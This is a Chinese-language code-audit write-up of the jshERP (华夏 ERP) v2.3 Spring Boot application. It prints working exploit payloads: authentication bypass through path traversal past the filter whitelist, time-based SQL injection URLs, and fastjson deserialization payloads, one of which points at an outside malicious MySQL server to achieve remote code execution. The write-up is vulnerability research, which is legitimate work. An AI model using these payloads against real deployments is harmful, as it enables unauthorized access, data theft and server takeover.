华夏 ERP CMS v2.3代码审计
华夏 ERP CMS v2.3代码审计
环境搭建
下载地址:https://github.com/jishenghua/jshERP/releases/tag/2.3
是个 spring boot 框架,根据配置文件 application.properties 创建数据库,然后导入 sql 文件,最后修改个不冲突的端口。
利用 navicat 创建数据库并导入 sql 文件
启动后长这样
审计流程
在正式进行代码审计前先走一遍代码审计的流程,看 pom.xml 文件,毫无疑问 spring boot 框架
数据库操作类用的是 mybatis
数据库是 mysql,这我们也是知道的,
还有就是用来 fastjson 和 swagger2
然后再看看路由机制,因为是 spring 框架嘛直接看 controller 文件下,路由机制比较简单,都是放在这个目录下的。
看路由机制主要是为了待会方便验证漏洞。
未授权访问
filter 审计
这个 cms 是使用的 filter 进行鉴权,来到 filter 模块,通过 init 使得allowUrls 为 /user/login#/user/registerUser#/v2/api-docs
这些路径,然后ignoredUrls 为这些 .css#.js#.jpg#.png#.gif#.ico
后缀的路由
猜测这两个变量中的路由应该是不用鉴权,然后继续看 dofilter 方法
第一个是如果获得的 session 中 user 值不为 null 通过验证,然后就是如果请求的是 register.html,login.html,以及 doc.html 也不会进行拦截,还有就是对于 ignoredList
和 allowUrls
变量中的请求路径是不会拦截的。
未授权分析
看来上面分析第一中包含.css 就行了,尝试看能不能通过这种形式进行绕过 .css/../account/getAccount
,看到成功再未登录情况下获得了后台数据
还可以用第二种情况,通过白名单路径进行路径穿越,同样成功访问了后台信息
更多利用形式
/login.html/../account/getAccount
/register.html/../account/getAccount
/ch4ser.css/../account/getAccount
/ch4ser.jpg/../account/getAccount
/user/login/../../account/getAccount
/user/registerUser/../../account/getAccount
........
XSS 代码审计
xss 漏洞说实话没有太好的审计方法,一般是直接在输入框尝试看看,因为上面看到没有 filter 进行过滤,看到基本上随便一个输入框都会弹。
类似的 xss 还有很多,添加商品处直接储存型 xss。
SQL 注入
刚刚看依赖是使用 mybaits 数据库操作类,搜索关键词
%${ //因为模糊查询不能直接使用%#{}%,所以不会的开发可能会使用%${}%形式,这种就存在sql注入
in (${ //使用in (#{}这种形式会报错
order by ${ //order by也不能使用预编译
直接搜索 %${
,搜出来一大堆,
比如这里进入 AccountMapperEx.xml
文件中,看一下 xml 文件中的信息,第一个红框是命名空间,其实就是绑定的接口,然后第二个红框是方法名称,
实际开发当中,对应 AccountMapperEx.xml
的一般都是定义在 AccountMapperEx
接口中(如果封装的好的话),看到这里这个接口内的这些方法都可以造成 sql 注入,因为都用的${}
形式
MyBatis 的处理流程一般为
controller–>service–>Mapper–>xml文件映射–>执行数据库操作。
所以逆推,接下来就是找 AccountService,看到在其 select 方法中调用了 selectByConditionAccount
方法
查询调用方法只有一个结果,看到参数 name 是通过 map 参数里面拿出来的,
在该类的 select 进行了调用,
然后继续逆推,看到貌似是根据 container.getCommonQuery(apiName)
来选择调用哪个类的 select 方法,
最后来到了 controller,在这里可以进行输入测试,这个 parameterMap 我们完全是可控的,通过 search 参数传入,然后 put 进 map 中,最后 sink 点的 name 等参数就是从 map 中拿出来的。
传入下面 payload,但是发现并没有成功延时
/account/list?search=%7b%22%6e%61%6d%65%22%3a%22%22%2c%22%73%65%72%69%61%6c%4e%6f%22%3a%22%22%2c%22%72%65%6d%61%72%6b%22%3a%22%31%27%4f%52%20%73%6c%65%65%70%28%34%29%2d%2d%20%22%7d&pageSize=1¤tPage=1
看日志内容,发现是执行了 sql 语句的,
但是因为括号的原因导致我们的 sleep 命令没有成功,然后尝试进行闭合括号,但是又会报错,因为其实在执行这个 sql 语句前面还有 sql 语句的构造,会根据 xml 文件进行构造,前面因为括号没有闭合报错导致不能到这步,尝试绕过了半天没有绕过。
没办法,只有换其他点继续审计了,在 UserMapperEx.xml 文件中,同样因为模糊查询使用了 ${}
形式没有进行预编译,
还是从 Userservice 一直逆,同样来到这里
最后还是在 ResourceController 中进行了调用,
还是构造如下 payload
/user/list?search={"userName":"","loginName":"' AND SLEEP(5)--"}&pageSize=1¤tPage=12
看到成功延时
看看其 sql 语句,因为没有括号的限制导致直接就能执行 sleep。
SELECT count(user.id) FROM jsh_user user LEFT JOIN jsh_user_business ub ON user.id = ub.key_id LEFT JOIN jsh_orga_user_rel rel ON rel.tenant_id = 132 AND user.id = rel.user_id AND ifnull(rel.delete_flag, '0') != '1' LEFT JOIN jsh_organization org ON org.tenant_id = 132 AND rel.orga_id = org.id AND ifnull(org.org_stcd, '0') != '5' WHERE user.tenant_id = 132 AND 1 = 1 AND ifnull(user.status, '0') NOT IN ('1', '2') AND user.login_name LIKE '%' AND SLEEP(5)
其他的功能点其实也是差不多的,需要多试试。
fastjosn 反序列化
因为用了 fastjson 的依赖,版本为 1.2.55,可以利用 1.2.68 的 payload 进行一个通杀。
全局搜索下面关键词
parseObject(
JSONObject.parse(
JSONObject.parseObject(
结果有点多,还是一个一个排查,找参数可控的
其中在 getInfo
中有进行反序列化方法的调用,
调用这个方法的地方很多,比如在上面的 getUserList
方法,
明显 search 可控,构造一个 urldns 的请求,payload 如下
{"@type":"java.net.Inet4Address","val":"d84dfa38.log.dnslog.myfw.us."}
成功收到 dns 解析,
但是版本是 1.2.55,无法利用 1.2.47 得进行通杀,可以利用 1.2.68 得 payload 进行通杀,因为还有 mysql 的依赖,可以打 jdbc,但是打 jdbc 需要反序列化链(或者读文件),感觉的化应该用 spring aop 链可以打,但是懒得弄了,直接添加个 cc 依赖尝试。
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
然后 vps 上启个恶意的 mysqlserver
fastjson1.2.68 的 jdbc payload(需要根据 mysql 的版本选择)
{
"a": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "47.109.156.81",
"portToConnectTo": 3306,
"info": {
"user": "cc6",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
}
最后成功弹出计算机,
只不过这里的 cc 依赖是自己添加的,只是为了证明可以打,实际可以打 spring aop 链。
后面看到好像还有 Hikari 库,可以直接打 jndi(不过需要 atuotype 为 true 才行)。
总结
参考:https://drun1baby.top/2022/09/30/Java-代码审计之华夏-ERP-CMS-V2.3/#5-Fastjson-反序列化-RCE
参考:https://xilitter.github.io/2024/04/30/java代码审计-华夏ERP-v2-3/index.html